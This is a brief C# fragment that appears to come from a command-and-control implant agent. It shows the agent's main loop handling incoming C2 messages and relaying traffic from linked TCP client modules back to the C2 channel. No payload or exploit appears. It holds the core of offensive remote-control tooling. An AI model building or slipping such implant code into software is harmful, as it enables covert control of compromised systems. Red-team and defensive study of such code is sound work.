public void Start() { AgentStatus = AgentStatus.Running; CommModule.Start(); while (AgentStatus == AgentStatus.Running) { CheckKillConditions(); if (CommModule.RecvData(out AgentMessage incoming)) { if (incoming != null) { HandleC2Data(incoming); } } foreach (var tcpClient in TcpClients) { if (tcpClient.ModuleStatus == ModuleStatus.Running && tcpClient.RecvData(out AgentMessage outgoing)) { CommModule.SendData(outgoing); } } } }
private void SendData(AgentMessage message) { CommModule.SendData(message); }